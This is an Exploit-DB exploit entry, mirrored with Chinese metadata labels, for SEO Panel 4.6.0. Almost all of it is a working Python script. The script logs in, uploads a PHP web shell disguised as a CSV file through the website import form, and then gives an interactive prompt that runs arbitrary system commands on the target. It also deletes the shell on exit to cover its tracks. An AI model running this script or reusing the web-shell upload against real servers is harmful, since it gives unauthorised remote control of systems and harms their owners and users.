SEO Panel 4.6.0 – Remote Code Execution (2)

  • 作者: Kr0ff
    日期: 2021-02-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49525/
  • # Exploit Title: SEO Panel 4.6.0 - Remote Code Execution (2)
    # Date: 22 Jan 2021
    # Exploit Author: Kr0ff
    # Vendor Homepage: https://www.seopanel.org/https://www.kentico.com/
    # Software Link: https://www.seopanel.org/spdownload/4.6.0
    # Version: 4.6.0
    # Tested on: Ubuntu 20.04
    
    #!/usr/bin/env python3
    
    '''
    DESCRIPTION:
    - SeoPanel 4.6.0 vulnerable to Remote Code Execution via authenticated file upload
    
    FIXED:
    - ver 4.7.0
    
    AUTHOR:
    - Kr0ff
    '''
    #https://asciiart.website/index.php?art=animals/bats
    
    try:
    import requests
    import argparse
    import sys
    from termcolor import colored
    from time import sleep
    except ImportError as e:
    print(colored("[ERROR]: ", "red"), f"{e}")
    
    def arty():
    artz = """
    HAPPY HALLOWEEN !
    ....._
     `. ``-. .-----.._
     `, `-..:/`
     : `".. ..-`` :
     / ...--:::`nn.`::... :
     `:``.` ::/`. ``---..:.
     `\.`._: .-: ::`. .-``
     :::_\\_/: :.::`./
     : /\-../:/_.`-` \ :
     :: _.._q` p ` /` \|
     :-```(_. ..-----hh``````/-._:
     `:`` / `
     E:/
    :_/
    :_..-``
    l--``
    ----------------------------------------------------------
     _
     ___ ___ ___ _____ ___ ___| |___ ___ ___
    |_ -| -_| . | . ||. | | -_| |_|_| -_|
    |___|___|___|_|___|_|_|___|_|_| |___|___|
    |_| 4.6.0
    
    @Kr0ff
    ----------------------------------------------------------
    """
    print(artz)
    
    #Initialize requests to create a session
    r = requests.session()
    
    #Create a login for the user
    def login(TARGET, USER, PASS):
    data = {"sec":"login", "red_referer": f"{TARGET}", "userName": f"{USER}", "password": f"{PASS}","login":""}
    headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    req = r.post(f"{TARGET}/login.php", headers=headers, data=data, verify=False)
    if req.status_code == 200:
    print(colored("[SUCCESS]", "green"), f"Status code for login.php -> {req.status_code}\r\n")
    else:
    print(colored("[FAILURE]", "red"), f"Status code for login.php -> {req.status_code}\r\n")
    print("Please check if you are providing the right path to 'seopanel' or if server is live...")
    get_ch = req.headers.get("Set-Cookie")
    return get_ch
    
    #Upload the webshell to target server
    def exploit(TARGET, USER, PASS):
    login(TARGET, USER, PASS)
    headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": TARGET + "/admin-panel.php", "Content-Type": "multipart/form-data; boundary=---------------------------193626971803013289998688514", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    payload = "-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"sec\"\r\n\r\nimport\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"userid\"\r\n\r\n1\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"website_csv_file\"; filename=\"bc1ab68651691302e1434959b70cba26.php\"\r\nContent-Type: text/csv\r\n\r\n<?php system($_GET['veiocx']); ?>\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"delimiter\"\r\n\r\n,\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"enclosure\"\r\n\r\n\"\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"escape\"\r\n\r\n\\\r\n-----------------------------193626971803013289998688514--\r\n"
    req0 = r.post(f"{TARGET}/websites.php", headers=headers, data=payload, verify=False)
    if req0.status_code == 200:
    print(colored("[SUCCESS]", "green"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n")
    else:
    print(colored("[FAILURE]", "red"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n")
    print("Please check if you are providing the right path or if server is live...")
    
    while(1):
    try:
    p = input("$> ")
    shell_url = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx={p}"
    control = r.get(shell_url, headers=headers, verify=False)
    if control.status_code == 200:
    print(colored("[SUCCESS]","green"), "Shell uploaded successfully !\r\n\r\n")
    print(control.text)
    else:
    print(colored("[ERROR]","red"), "Shell not uploaded... :(")
    print("Status code ->", colored(control.status_code, "red"))
    sys.exit(0)
    except KeyboardInterrupt: #Do self-cleanup on ctrl+c and wait a sec
    cleanup = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx=rm bc1ab68651691302e1434959b70cba26.php"
    requests.get(cleanup, headers=headers, verify=False)
    sleep(1)
    print(colored("\r\n[ERROR]", "red"), "Exitting ! Self-cleanup done !")
    break
    
    #Initilize parser for arguments
    def parse_argz():
    parser = argparse.ArgumentParser(description='SEO Panel 4.6.0 authenticated RCE via file upload')
    parser.add_argument("-t", "--target", help="Target http/s:[IP/HOSTNAME]/seopanel/", type=str)
    parser.add_argument("-u", "--user", help="Username to login as", type=str)
    parser.add_argument("-p", "--passwd", help="Password to authenticate with", type=str)
    #args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) #Show help menu if no arguments provided
    args = parser.parse_args(args=None)
    
    if not args.target or not args.user or not args.passwd:
    parser.error(colored("[WARNING]","yellow"), "Not all arguments provided")
    sys.exit(1)
    else:
    TARGET = str(args.target)
    USER = str(args.user)
    PASS = str(args.passwd)
    exploit(TARGET, USER, PASS)
    
    if __name__ == "__main__":
    try:
    arty()
    parse_argz()
    except Exception as e:
    print(colored("[ERROR]","red"), f"-> {e}")
    sys.exit(1)